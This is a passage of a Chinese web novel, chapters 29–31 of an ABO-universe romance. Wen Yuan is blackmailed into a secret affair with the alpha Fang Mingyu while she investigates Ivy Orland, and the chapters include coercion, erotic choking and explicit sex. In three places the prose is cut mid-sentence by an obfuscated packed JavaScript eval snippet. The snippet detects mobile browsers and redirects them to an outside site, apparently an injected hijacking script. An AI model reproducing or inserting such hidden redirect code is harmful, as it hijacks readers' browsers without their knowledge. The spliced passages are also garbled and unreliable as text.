闻鸢抬头就能看到他流畅利落的下颌线和高挺的鼻梁。灰调的眸子拢在橘色的辉光里,像是流淌的灰色糖浆。 察觉到闻鸢在看他,方鸣玉的嘴角勾起一个很小的弧度。 “之前在封闭训练,拿不到手机,抱歉,一直没回消息。” 闻鸢左等右等,也没等到太子爷开口说正事,便有些扫兴地撇了撇嘴,搭腔道:“没事,反正也不是什么重要消息。” 在方鸣玉重新开口之前,闻鸢从包里拿出那个黑色皮夹,“还给你。” “?” 方鸣玉接过,疑惑神色显而易见。 闻鸢将太子爷的疑惑理解为嘲笑,嘲笑她的不知好歹。 仿佛富人看到穷人并不为金钱所动,疑惑之外反倒激起几分兴致,偏要叫她低头不可。 但闻鸢的仇富心理让她忽略了方鸣玉本就是个鲁莽而直率的缺心眼。 他那疑惑纯粹得很,不带半点深意。 “比起钱,我更希望你能亲口道歉。”她冷冷地说。 “不过你似乎没这个打算。” 她站起身,似乎不想和他多费唇舌。 方鸣玉也随之起身,长腿一迈,挡在她面前。 她看到方鸣玉的疑惑变成惊讶,随后带了点恼怒。 “道歉?你在说什么?为什么我要道歉?” 他拉住闻鸢的手臂,做出挽留的姿态,这更加惹恼了正在气头上的闻鸢。 “对,你根本不需要道歉,错都在我,我不应该看你比赛,不应该喝下那杯果汁,更不应该平白无故被你扇一巴掌!” 闻鸢一把甩开他的手,怒气冲冲地拉开门把手,刚踏出一步,却被他搂着肩膀抱到怀里。 温热的吐息洒落脖颈,alpha偏高的体温透过来,侵略意味浓烈。 “你不记得了,是不是?”方鸣玉收紧胳膊,强势地将乱动的女人锢在怀中。 他的声音带点委屈,又有些遗憾,仿佛被主人辜负的大型犬,耷拉着耳朵,趴在主人肩膀上撒娇。 “转过来,我帮你想起。” 闻鸢扭头,炙热的呼吸便顺着鼻梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915351|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑了下来,她瞳孔一缩,抬手就是一巴掌。 “你有病啊?!” 她挣脱的力气太大,动作剧烈,包掉到地上,物品散落一地。 被打了一巴掌的方鸣玉保持着偏头的姿势,须臾后才转过脸来。 灰色的眸子里不是被冒犯的愤怒,而是带着一点陶醉的意犹未尽。 “那天,你就是这样亲我的。” 他咽了一口唾沫,喉结上下滑动,薄唇很红,在舌尖微微的舔舐下,显得水润光滑。 视觉冲击很强的画面,当然也有点熟悉。 闻鸢脑海中闪过几幅香艳的画面,画面的主角都是方鸣玉。 他一反常态地仰着头,被动地受着她的吻。 面颊酡红,灰瞳更是像琉璃一样脆弱,被浸得湿透。 而这一切的罪魁祸首都是她。 她怔愣在原地,任凭方鸣玉把她重新抱进怀中,把鼻尖埋入她的脖颈。 她都做了些什么? 强吻方鸣玉不说,还颠倒黑白,恶人先告状地扇了他一巴掌。 简直恶贯满盈,罄竹难书。 “怎么不说话了?”方鸣玉埋首在她脖颈里,闷闷地笑出声来。 闻鸢语塞了一会儿,把头拧过去,振振有词道:“强吻是我不对,但你就没问题吗?” “果汁的事情我还没跟你算账呢。” 她挣开方鸣玉回头,表情疏离冷静,说出来的话却叫他气血翻涌。 “这样,我不追究果汁的事情,你也别再拿强吻的事情找我要说法,算扯平了。” “你我都是成年人了,有些话不必多说。” 闻鸢耸了耸肩,捡起地上的皮夹子递给他。 “扯平了,现在我就更不需要这笔‘补偿金’了,你自己留着吧。” 方鸣玉没动作,但他脸色阴沉如水,灰暗的眸子隐匿在阴影里,像豺狼专等着猎物松懈时扑上来撕咬。 他释然地笑了,喉结滚动了一下,仿佛在吞咽某种难以言说的情绪。 “我知道了。” 闻鸢皱了皱眉,没空理会他的坏心情,转身踏出房门。 刚走出去几步,便听到alpha戏谑的嗓音响起。 “好遗憾,那我只能在华大的论坛跟大家分享这桩悲伤情事了。” 轻飘飘的几句话成功把闻鸢钉在原地。 她回头,不加掩饰的愤恨神色完全取悦了他。 “你到底想干嘛?” 之前都是开胃小菜,现在才是重头戏。 她就知道,方鸣玉这种太子爷也不是什么好打发的阿猫阿狗,恶劣本性刻在骨子里,无论怎么掩藏都会露出马脚。 他慢条斯理地抚平袖口的褶皱,嗓音低柔,“你知道我想要什么。” 闻鸢看着他低饱和度的瞳孔,烦躁顺着怒意蔓延到血管每一个角落。 她不想当谜语人,所以开口就问,“那我还真不知道,所以你到底想要什么?” 方鸣玉很失望地敛眉,眼睫眨动的频率快了些。 在闻鸢的注视下,他身体一沉,坐到了沙发上。 他把西装裤上的褶皱抚平,拍了拍大腿,抬眸对闻鸢说道: “坐上来,我告诉你。” “现在。” 语气不容拒绝。 29. 第 29 章 闻鸢在原地和方鸣玉对峙了半晌,alpha就那么静静地看着她,似乎笃定她会妥协。 闻鸢在心中天人交战了一番,得出的结论是多一事不如少一事。 绝对、绝对不能让泽诺知道这件事,否则后果非常严重,比保守派当选总统然后跟隔壁打贸易战还要严重。 被胁迫的滋味的确不好受,但她目前没有别的出路。 于是她忍着怒气,侧坐到方鸣玉腿上。 悬空的脚掌微微晃动,因着这个姿势,裙裾自然上滑,露出一截莹白的小腿。 闻鸢调整了一下姿势,小腿肚贴着方鸣玉的裤脚蹭了一下。 方鸣玉始终靠着沙发,双臂自然伸展,好整以暇地看着她,“这样坐着不难受吗?” 她很不服气地瞪了方鸣玉一眼,腰拧得难受,但还是嘴硬地说了句,“少管我。” 像一只愤怒到咬人的兔子。 方鸣玉低头闷闷地笑出声,存心逗她,“可你离我这么远,我怎么跟你说悄悄话呢?” 还真是蹬鼻子上脸给脸不要脸了。 闻鸢深深吸气,指尖掐进掌心,用疼痛压制住翻涌的杀意。 冷静、冷静,一条又蠢又凶的疯狗罢了,不值得大动肝火。 正所谓一条狗一个栓法,冷处理就好。 闻鸢环胸抱臂,冷然以对,但方鸣玉自有妙计。 他慢条斯理地拿出手机,点开华大的论坛,略为遗憾地说道:“看来我还是写帖子……” 手机被“啪”地打掉,在空中转了一个圈,落地时砸到桌脚,屏幕宣告报废。 “爹的……方鸣玉!你到底想要什么?” 闻鸢忍无可忍,跪坐在方鸣玉的大腿上,抓着他的衣领,把他从靠背上狠狠揪起来。 真丝的冷滑质感拂过双腿,闻鸢很瘦,膝盖抵在大腿骨上,压得生疼。 方鸣玉觉得自己疯了,否则为何痛楚中竟翻涌着难以言说的快意? 如同骨血被一寸寸熨开,每一寸神经都沉溺在绵密的餍足里,既折磨,又甘之如饴。 大掌拢住闻鸢的腰,方鸣玉缓缓凑近,下巴蹭上她的锁骨。 “你知道我要什么,闻鸢,何必装糊涂。” 他把脸贴在闻鸢怀里,贪恋地捕捉那一缕若有若无的鸢尾香。 “你明明有更好的选择,为什么还要陪在那个蠢货身边?” 他捻起一缕发丝吻了吻,神情带着点病态的狂热,“给我那个名正言顺的位置,我不会让你后悔。” 闻鸢垂眸睨着他,任由他的鼻尖暧昧地蹭过自己发丝,忽然从喉间溢出一声轻笑。 “真有意思,你们这些人,最喜欢玩威逼利诱这一套。” “你跟他是一样的货色,我凭什么要选你?” 方鸣玉抬眸,灰色的眼睛里晕着沉醉和迷恋,像是溺在蜜糖里的刀刃,甜腻又危险。 “我很听话。” “你以为我会信?”闻鸢温柔地点了点他的眉心,声音异常轻盈。 喉结上下滑动,他微张薄唇,将她的手掌放到了自己的颈上。 “你可以试试,你会喜欢的。” 闻鸢略带惊讶的眸光让他感到欣喜,狂热和愉悦涌遍全身,带起一阵轻颤。 手指缓缓攀上alpha的喉。 蟒蛇狩猎的时候,会缓缓缠绕住猎物,起初,猎物会感受到一阵奇怪的眩晕,世界由此变得光怪陆离。 窒息感夹杂其中,如同一只绚烂但身负剧毒的蓝尾蝴蝶。 头不受控地向后仰,皮肤泛起瑰丽的红。 很漂亮,也很脆弱,像一只搁浅的美人鱼。 压力骤然放开,方鸣玉扭过头咳嗽,看到闻鸢垂下的双手在微微发抖。 她也很开心。 闻鸢何止是开心,她兴奋极了,血液在皮肤底下翻腾盘旋,心跳声震耳欲聋。 等方鸣玉稍微恢复了,她便捏着他的下巴,不由分说地吻了上去。 这一次攻势更猛,她毫不掩饰自己的攻击性,把所有的一切都宣泄在方鸣玉身上。 唇角和嘴皮都被咬破了一个口子,血腥味混着鸢尾花躁动的气息,一起送进alpha的口腔,被他尽数吞吃。 他们吻在一起,纠缠了很久才分开。 额头相抵,方鸣玉一瞬不瞬地看着她,眼里满是势在必得,“怎样,信我了?” 她喘着,慢慢等待脊背上的麻感褪去。 很陌生的快感,她在泽诺身边从没体会过。 为什么呢?答案很显然。 omega根本受不住她强烈而汹涌的凌nue欲,果然还是alpha更耐造。 闻鸢在心里天人交战了一番,最后还是败给了欲|望。 算了,人之常情。 她重重地闭了闭眼,手抵着男人的喉结,哑声道:“我没办法跟泽诺分开,这是客观原因。” 方鸣玉张口想问,但却被闻鸢截住话头。 “不要问,这是我和奥兰德家族之间的事,我在慢慢解决。” “但我给你这个机会,来证明你是更好的选择。” 她凑近,在方鸣玉带血的唇角边落下轻柔一吻。 “这是我的承诺。” 听到这话,方鸣玉眉间的阴郁骤然化开,他弯了弯唇角,颇为餍足地靠在闻鸢肩膀上。 “奥兰德那边,需要我帮忙吗?” “不需要,我自己会解决,但你必须保证不能让泽诺知道我们之间的关系,否则一切免谈。” 回答她的是一声不满的轻哼。 他眉心微蹙,将额头更用力地抵上她肩窝,像只闹脾气的兽类固执地寻求安抚。 须臾,在闻鸢的拥吻和抚慰下,他终于收起了自己的爪牙,闷闷地说了句。 “好,我答应你。” 他靠在闻鸢胸口,贪恋地嗅着逸散在空气中的鸢尾花香,闷闷地补充了句,“多来陪陪我好不好?” 回答他的是一阵更深更长的吻。 刚刚下了场雨,气温骤降,闻鸢穿着方鸣玉的外套走出房门,方鸣玉亦步亦趋地跟她在后面,手上提着她的包。 方鸣玉有消息要处理,就暂时把车停在会所大门附近。 闻鸢揉着太阳穴,出神地盯着西装革履的天龙人,眼神倦怠疲惫。 一辆深灰色的车驶入会所,闻鸢随意瞄了一眼车牌,动作顿了顿。 貌似是艾薇的车。 今天她有应酬吗? 她百无聊赖地撑着下巴,视线随着车门打开缓缓下移—— 一双锃亮的黑色高跟鞋稳稳踏在地面,细长的鞋跟陷入松软的草坪。 艾薇穿着一身简约干练的西装套装,耳间那对绿宝石蝴蝶耳环格外醒目。 闻鸢已经记不清是第几次见到这对耳环了,它似乎成了艾薇的标志性配饰。 耳环在灯光的照射下显出绚烂的火彩,艾薇将乱发别到脑后,下车之后没有直接走入会所,而是转身,扶着车门,仿佛在等另一人下车。 闻鸢猜测大概是艾薇的朋友或者是某个重要的合作伙伴。 可她想破头都没想到,那个人会是裴昭明。 面容妖冶的男性beta从车里出来,笑着对艾薇说了句什么。 艾薇的眼神停留在他的脸上,往日犀利冰冷的眼神柔和了几分。 她安静地注视了裴昭明几秒,随后跟他一起进入了会所。 手机提示音嗡嗡作响,闻鸢心中猛地炸开一道惊雷。 她震惊的神色太过明显,以至于正在回复消息的方鸣玉都投来好奇的眼光。 “怎么了?” 闻鸢用手捂了捂自己的越发胀痛的太阳穴,表情一言难尽,“造孽啊。” 都怪她视力太好,推理能力太强,以至于当她意识到发生了什么的时候,一切都已经来不及了。 “什么?”方鸣玉更疑惑了,一个劲地盘问。 闻鸢把头靠在车窗旁,装作很疲惫的样子,“没什么,只是突然想起了昨天的家庭伦理剧,觉得自己很倒霉而已。” 也许她可能有点反应过度了? 毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15927237|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟,她连他们具体说了什么、做了什么都不知道,仅凭一个画面就脑补出一整部狗血剧,未免太荒谬了。 闻鸢深吸了一口气,把脑子里那些乱七八糟的念头强行按下去。 没准他俩只是单纯吃饭聊天,谈一些业务上的往来也说不定。 拒绝过度揣测! 抱着惴惴不安的心态,闻鸢回到了长岛,内心的焦灼在见到泽诺的时候达到顶峰。 泽诺盘腿坐在她床上,嘴巴里含着棒棒糖,见到她回来的时候抬头打了个招呼,然后继续沉浸在游戏的世界里。 闻鸢抓住机会,状似无意地问了一句,“家主还没回来吗?” gameover的提示音响起,泽诺懊恼地往后一躺,重新点开一局,抽空回复道: “她给爸爸打电话了,说公司有事,晚点回来。” 闻鸢心理咯噔一声,重重闭了闭眼,突然觉得这个世界有点幽默。 她愣在原地,震撼之余,脑子里迅速地把整个事件过了一遍,忽然灵光一闪,蹦出个大胆的想法。 如果能拿到艾薇出轨的把柄,是不是可以用这个威胁她,把契约毁掉? 一想到这个可能,闻鸢转忧为喜,甚至都有点喜不自胜。 她抬眸,对玩游戏正兴奋的泽诺投去怜悯的一瞥,随后拿出手机,给方鸣玉发了个消息。 【闻鸢】帮我找个私家侦探。 【方鸣玉】干什么? 【闻鸢】查个人。 【方鸣玉】谁? 【闻鸢】一个黑心资本家。 【方鸣玉】……刚好认识一个,等我给你推。 【方鸣玉】有点想你了,今晚能打视频吗? 刚分开没多久,现在又开始腻歪了。 闻鸢叹了一口气,突然发现自己招惹了一只粘人的大狗狗。 【闻鸢】我累了。 对方沉默了一会儿,随后发来一只[小狗委屈]表情包。 灰色的小狗趴在地上,假装不经意地打量着屏幕前的闻鸢,嘴里呜呜地哼唧,小声地表达不满。 点击退出键的手指骤然顿住,闻鸢失笑,在聊天框重新打下两行字。 【闻鸢】记得往脖颈上擦点药。 【闻鸢】明天我来燕大找你。 嘈杂的游戏音效一阵接着一阵,她盯着刚跳出的聊天框发呆。 年轻alpha不加掩饰的雀跃注入每个字符,兴奋和欣喜简直要跃出屏幕。 屏幕的冷光映着她苍白的指尖,须臾,她抬手,毫不留恋地把所有聊天记录删得一干二净。 她面无表情地坐下来,打开电脑,开始处理泽诺堆积已久的邮件。 半晌,泽诺玩腻了游戏,挤到闻鸢身边,下巴搭在她的肩膀上,声调懒懒的,“今天干什么去了?” 他边说着,边拿起闻鸢的手机,例行公事一般地开始查岗。 闻鸢眼睛都没眨一下,扯谎道:“莉娜教授请专家来学院做讲座,去接机了。” 本来是要去的,结果被方鸣玉打乱了计划,闻鸢只能让沈照帮忙去接。 “哦。” 他随意看了几眼就把手机丢开,脑袋拱到闻鸢怀里,深深嗅闻着她身上的花香。 他闭着眼睛,缓缓蹭了蹭闻鸢的发梢,动作带点讨好意味。 闻鸢顿了顿,揉了把他的金色大脑袋,“好了,乖一点,我在帮你处理邮件,信息都快堆成山了。” 讨好不成反被泼了冷水,泽诺一愣,用手指卷起她衣服上的系带,不满地扯了扯。 “木头!邮件比我还重要吗?” 他胡乱地埋怨了几句,闻鸢充耳不闻,点开下一封邮件。 邮件是匿名的,IP地址显示为北境。 鼠标一划,十字架徽章从左上角跳出,冰冷的色调,昭示着神圣不可侵犯的威严。 看到内容,闻鸢呼吸一顿,咽了口唾沫,身体骤然僵硬。 她反手握住泽诺作乱的手指,把他从座位上扶正,嗓音绷得很紧。 “你看,这是什么?” 30. 第 30 章 【致约顿·维京及其亲友: 《关于约顿·维京之审判决议》 经查证,当事人存在叛教行为,经教会多次劝诫,当事人仍坚持恶行,且无忏悔之意。 根据《光辉法典》第32条,对叛教者约顿·维京处以绝罚。 你所拒绝的光,将成为焚烧你的火。 光辉教会】 简而言之,约顿被驱逐出教了。 闻鸢对此毫不意外,因为他自始至终都不像虔诚的信教徒。 真正让闻鸢意外的,是这份绝罚令的严重性。 北境人素来信仰宗教,光辉教会的教旨甚至被写入宪法。 因此,被光辉教会正式绝罚,不仅仅意味着精神上的放逐,更代表着社会性死亡。 绝罚令会被广泛地告知给亲属好友、同事恩师,从此,约顿不可以担任北境的任何公职,甚至不可以再踏足北境的领土。 闻鸢望着绝罚令上烫金的教廷纹章,忽然有种猜测:或许约顿早就在等这一天。 果不其然,第二日,约顿就让人拿下房内所有的女神画像。 画像上的木质边框甚至都没来得及拆,就被凌乱地堆在后花园的空地上。 约顿让人浇上汽油,随后将引燃物扔到那堆木头和纸张的混合物里。 火势渐大,借着风力,火苗高高蹿起,在空气中留下一道道虚影。 约顿满怀恶意的神情在扭曲的烟雾中若隐若现。 仿佛他正在看着自己的仇人一点点被火焰吞噬躯体,然后大仇得报。 女神在上,这得是多大仇? 闻鸢暗自心惊,耳边骤然响起一道嗓音,把她吓得不轻。 “他在干什么?” 不知道从什么时候开始,艾薇悄无声息地站到闻鸢身旁,冷眼看着约顿的所作所为。 冷调香水的凉意从鼻尖晕开,闻鸢望着那头柔顺的大波浪长发,生生撤回后退的脚步。 “在烧女神画像。”她言简意赅地回答道。 然后她看到艾薇的眉头狠狠地皱了起来—— 对于常年冷脸的人来说,这是一个极度突兀的表情。 她站在原地,盯着约顿,周围气压低得可怕。 可惜约顿自始至终没看到她。 当然还有一种解释,约顿看到了,但根本不在意,他不想解释。 鉴于这是一对貌合神离的对抗路夫妻,闻鸢更倾向于后一种猜测。 艾薇耳边的蓝牙耳机闪了闪,她转身接起电话,踩着高跟鞋步履飞快,似乎不想多在这地方浪费一秒钟。 “召集项目组开会,重新评估与北境的合作……” 从那天开始,艾薇和约顿就陷入了某种奇怪的冷战之中。 他俩就像一对利益深度捆绑的商业夫妻,常常为了利益相互忍让,但又在某些时候无法忍住一巴掌扇死对方的冲动。 再忍都要成忍者神龟了。 闻鸢为了不触霉头,谎称自己的实验出了岔子,直接在办公室支了张行军床。 正好泽诺易感期也平稳了,她没有非回去不可的理由,于是就快快乐乐、安安心心地在办公室住了下来。 不过她很快就乐不起来了,因为半夜老鼠啃东西的声音总让她梦回下城区的生活。 在连续做了两天的噩梦之后,她打通了方鸣玉的电话。 彼时他在和朋友聚会,音乐声震天响。 闻鸢说了前因后果,他耳朵聋了一样没听到,只捕捉到两个字“睡觉”。 叮叮当当的声音响起,不知道他又碰倒了多少东西。 须臾,电话里安静了下来,他似乎跑到了楼梯间里。 “睡觉?你确定?!” 对面沉默了好大一会儿,空气都寂静到耳鸣。 等了半天不见他回复,闻鸢还以为信号不好,跟他反复确认道:“行吗?你给个准话。” 方鸣玉欲言又止,嗓音很低,楼梯间的回声将他的踌躇衬托得淋漓尽致。 “可以是可以,但……会不会太快了?” “毕竟我们前几天才确认了关系……” 不堪入耳!不堪入耳!alpha的脑子里究竟装了什么?! 闻鸢捏着眉心,干脆地打断道: “我说——我没地方睡觉,你家里有没有空房间暂时给我借住一下!” “哦……这样啊。”知道会错了意,方鸣玉闷闷不乐地回答道,听起来似乎有点失望。 闻鸢气得脑仁疼,但生气之余还是嘱咐他不要酒驾。 他语气轻快,声音中掺着笑意,“放心,没喝酒。” 40分钟以后,闻鸢坐上了副驾,和他一起回到星海澜湾——另一个富人聚居区,拥有优越的海景视野和超长海岸线。 车开到地下仓库停下,灯都没熄,方鸣玉就迫不及待地把脸凑过来,死皮赖脸地追着闻鸢要吻。 闻鸢侧过脸,细碎的吻落在脸颊,伴着沙哑酥|麻的语调,“有没有想我?” “想了想了。” 闻鸢答得随意,任由他在脖颈上留下一个个炽热的吻。 “哦——那你要怎么证明?” 他忽而抬头,在她的目光下,伸出舌尖,缓缓舔了舔闻鸢的下巴。 男性alpha的犬齿磨着那块敏感的肌肤。 因为仰着头,脖颈伸展着,皮肤上浸着一层薄薄的汗。 他穿了一件很宽松的白色T恤衫,领口宽大,靠过来之后,能清楚地看见里面的风景—— 一条银色项链顺着精致的肌肉线条延展,胸肌鼓出丰盈健康的弧度。 略带挑衅的目光,伴随着下颌处湿漉漉的触感,让闻鸢内心升起一股难以言喻的燥热。 她眼神暗了暗,随手关掉车灯,车内车外陷入一片黑暗。 一双手轻轻握住alpha的脖颈。 “怎么证明呢?让我想想……” 鸢尾花香近在咫尺,仿佛下一秒双唇就能轻贴。 方鸣玉的呼吸凝固下来,他仰头,颇为紧张地等着这个吻。 可是等了半晌,对方却没有动作。 黑暗中,只听到女人轻笑一声,声音里满满的戏谑。 “你在紧张?” 方鸣玉急了,下意识地辩驳道:“才没有!我只是……唔……” 闻鸢没有给他辩解的机会,双手猛地一用力,将alpha的脊背按到靠背上。 唇一贴上,alpha便识趣地张开唇缝,迫不及待地和她交缠。 或许是好久没见面了,方鸣玉在各种意义上都有些着急。 闻鸢皱着眉,手指收紧,他呼吸一滞,忍不住闷哼出声。 “乖一点,否则什么都没有。” 冰冷的指尖牢牢扣在滚烫的肌肤周围,alpha的冷白肤色染上窒息的红。 湿漉漉的眼睛显得有点亮、带着圆润的弧度,没有一点攻击性。 “我知道……”他顿了顿,似乎有点窘迫。 裤子里紧绷的感觉并不是很舒服,但要求闻鸢帮他纾解肯定会把她惹恼。 于是他选择忍耐。 二人乘电梯上了顶层。 方鸣玉的家简洁利落,布置规整有序,装潢背景更是主次分明。 这让受尽极繁主义折磨的闻鸢十分舒心。 想到泽诺房间里复杂得犹如万花筒的纹饰背景,她不禁露出一丝苦笑。 闻鸢所居住的次卧有一整面落地窗,从这里能看到星海港湾矗立着的金色灯塔和绸缎般平静的雾蓝色海面。 洗完澡后,她便靠在方鸣玉怀里鼓捣他设计的鲸鱼互动装置。 内部装置被她拆解下来研究,方鸣玉一声不吭,只是拢着她,时不时给她讲解设计思路,顺便聊会天。 “最近在忙什么?” 闻鸢理解得很快,几乎是一点就通的程度,不出十分钟便又把装置复原。 她抬起下巴,眼睛很亮很亮,常年敷衍冷漠的表情带了点生动。 “在给老鼠大王打工啊。” 他闷闷地笑起来,吻了吻她脸颊周围的发丝,话里带着难以察觉的纵容。 “那可真是辛苦了。” 她轻轻地哼了一声,算是赞同,随后又开始鼓捣手上的东西。 方鸣玉在心里默默叹了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953847|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一口气,觉得自己和机械装置争宠这件事情真的非常猎奇。 但事实就是,闻鸢对那个小东西爱不释手,注意力根本没放在他身上。 “你在调查艾薇·奥兰德?” 他卷起闻鸢的发丝,灰色的眼睛轻轻眯了眯,透出一股狡猾意味。 果不其然,闻鸢顿了顿,眼神扫过来,眉梢带着冷冽和审视。 “看来那个侦探的职业素养并不高。” 居然把现雇主的信息卖给了前雇主。 方鸣玉举起双手,撇清关系道:“我并没有向他打听,只是猜测。” 他摊了摊手,调侃道:“毕竟你身边的黑心资本家也只有她一个了。” 那倒也是。 闻鸢忽然没了兴致,把小鲸鱼往桌上一摆,很疲惫地埋到他怀里。 “只是很好奇她的过往。” 项链亮闪闪地挂在alpha脖颈上,闻鸢用手指勾起项链,链子在皮肤上缓缓滑动,最后跳出衣领。 一个银色十字架在灯光下晃动,带着熟悉的金色刻纹。 闻鸢似有所感地看了方鸣玉一眼,对方似笑非笑,像是早知道她要问什么。 “不信教。但我祖父是北境人,这是他留给我的赐福项链。” 闻鸢摩挲着项链上的划痕,随口提了一句,“约顿被光辉教廷绝罚了,就在上周。” 方鸣玉凛了凛眉眼,“你确定吗?这是非常严重的处罚,相当于叛国罪。” 她抬起眉眼,点了点头,“我亲眼所见,他还当众烧掉了女神画像。” 男人的躯体僵硬了一瞬,而后,一个了然的笑容从他唇边绽开。 “我明白了。” 他像是凭借这件事打通了所有前因后果。 “明白什么了?”闻鸢扯着他的链子,眼神不知不觉地透出一丝急切。 方鸣玉舒展眉眼,轻笑着靠近,大手揽住她的腰肢,神情带着一贯的讨打和懒散。 “刚刚都把我晾一边,一有事就想起我了?” 他慵懒地往后一靠,脊背抵住落地窗,“要不你补偿一下?” “呵……” 闻鸢嗤笑一声,手上毫不留情地拽了拽那根项链,似乎要把满大街乱窜的狗拽回来。 alpha很上道地贴过来,下巴蹭了蹭她的锁骨,动作柔顺,眼神却是挑衅的。 “做?” 闻鸢不吃这套,扭头躲开他的吻,温柔的语气透着强硬,“不是很想把这种事变成交易。” “约顿和艾薇,我也可以自己去查。” 方鸣玉喜欢蹬鼻子上脸,闻鸢不希望他能凭借某些信息就能轻易拿捏住她。 所以即使闻鸢非常需要,但她必须表现得可有可无。 冰冷的,带着鸢尾香气的指尖缓缓拂过他的山根,最后落到嘴唇上。 他就有些迫不及待地张开唇,想去吻住柔软的指腹,却扑了个空。 beta的信息素总是很冷静,浓度自始至终保持在稳定的水平,但alpha的信息素却愈演愈烈。 方鸣玉的眼神变得迷离朦胧,像拢着一层水雾。 他难耐地吞了一口唾沫,伸手想要抱住她,却被她按住肩膀。 “好了,我困了,你出去。” 她毫不留情地下了逐客令,即使她明白面前的alpha非常需要抚慰。 方鸣玉脸色微红,没有动作,像在耍赖。 不过闻鸢自有应对策略。 “不走?那我走。” 他家那么壕,沙发肯定很舒坦,至少比下城区的木板床强。 她表情平静地起身,刚走了几步却被他骤然抱了满怀。 两具躯体紧紧贴在一起,她能感受到他的痛苦、他的忍耐,以及—— 他身下的燥热。 他将鼻尖深埋在闻鸢的发丝中,狠命地嗅了嗅脖颈间残存的信息素,声音像是受了天大的委屈。 “故意的对不对?” “闻鸢,你就不能稍微哄哄我吗?” 逆天,她明明在很认真地推拉,怎么串台到难哄了? 一定是哪里出了问题。 31. 第 31 章 尽管步骤可能出了问题,但实际效果却差不多。 常言道打个巴掌给个甜枣,现在是时候给他一点甜头了。 他靠在闻鸢肩窝里,用鼻尖拱了拱她的锁骨。 闻鸢将他额头的碎发捋到脑后,问道:“很难受?” 方鸣玉颔首,眼尾拖着一点红,灰色的眼瞳浸着水光。 “我自己弄不出来。” 细长的手指轻轻划过唇际,紧抿的薄唇被撬开一条缝,犹如紧闭的蚌壳终于露出一点空隙。 方鸣玉仰着头,用后齿轻咬闻鸢的骨节。 闻鸢抽出一点,他不让,固执地用前齿咬出一道牙印,痕迹深浅不一,看起来像是个浅粉色的戒指。 或许是第一次做这种事,食髓知味,alpha白皙的肌肤漫上一层害羞的红。 闻鸢推了推他的肩膀,抽出手指,表情依旧平静,甚至带着点冷淡。 “脱掉。” 她转身,从床头抽出一张湿巾擦手,淡淡吩咐道。 “全部,明白吗?” 手指一勾,脑后的发带被她拿下,黑色的长发披散开来,碎发遮住半边眉眼。 她的手指被吮得有点红,牙印在灯光下异常明显。 见方鸣玉迟迟不肯动手,她弯了眉毛,表情揶揄,“怎么?不敢?” 方鸣玉瞪了她一眼,仿佛这样就能掩盖他的心虚。 “没什么不敢的。” 或许是经常在室内训练的缘故,他的皮肤比一般alpha白很多。 闻鸢坐下来,他抓住闻鸢肩膀,下巴放在柔软的波澜中。 alpha的体格很大,各种意义上的,规模可观。 总之和omega的精致和柔软大相径庭。 他有点紧张,肌肉硬邦邦的,闻鸢便用聊天分散他的注意力。 “艾薇和北境,你知道多少?” 他揽住闻鸢的腰,手指将她身上的衣料揉得很皱。 “艾薇曾经的未婚夫是陆家人,你知道吗?” “陆家?”闻鸢惊讶挑眉,手指骤然收紧。 方鸣玉倒吸一口凉气,缓了一阵后启唇,声音比之前哑了一个度。 “结婚前夕她不顾陆家人的脸面,突然毁婚……” 说到这里,方鸣玉停了下来。 闻鸢手酸,转了转手腕,猜测道:“然后她跟约顿结婚了?” alpha没说话,手背上的青筋鼓起。 “没错,当时她和约顿素不相识。”方鸣玉回答道,声音在闻鸢耳边忽远忽近。 闻鸢换了只手,表情变得耐人寻味起来,“利益交换?” alpha呼吸急促,手指几乎嵌进闻鸢肩膀。 “也许吧,可能也有别的原因。” “比如呢?” 察觉到他微微颤抖的身躯和骤然紧绷的肌肉,闻鸢坏心眼地将收住力气。 指尖顺着腕骨滑下,撑开女人的指缝,随后带着一点强硬地扣住。 双掌严丝合缝地贴在一起,使得闻鸢不能继续做坏事。 “唔……比如她突然发现自己更喜欢omega?” “啧,alpha的劣根性。” 他很嫌弃地评价道,仿佛自己并不是那些alpha中的一员。 很快地,闻鸢从他的只言片语中得到了额外的信息—— 艾薇的陆姓未婚夫是beta。 真有趣。 她稍稍松开,眼尾漫着戏谑的笑意,“喜欢beta就不是劣根性了?” 方鸣玉重重地叹了一口气,没辙似的望着她:“没有alpha能忍受这样的对待。” 闻鸢上前环住他的脖颈,亲昵地蹭了蹭alpha的鼻尖,笑得眉眼弯弯。 浅棕色的眼瞳亮得惊人,她咬上alpha的薄唇,声音含糊,笑意里带着得意洋洋的叛逆和乖张。 “不能忍受?那可是你自找的。” 力道尽数松开,冰冷的薄荷味充斥着整个房间。 涌出了很多液体。 冰冷中渗出粘稠、滚烫。 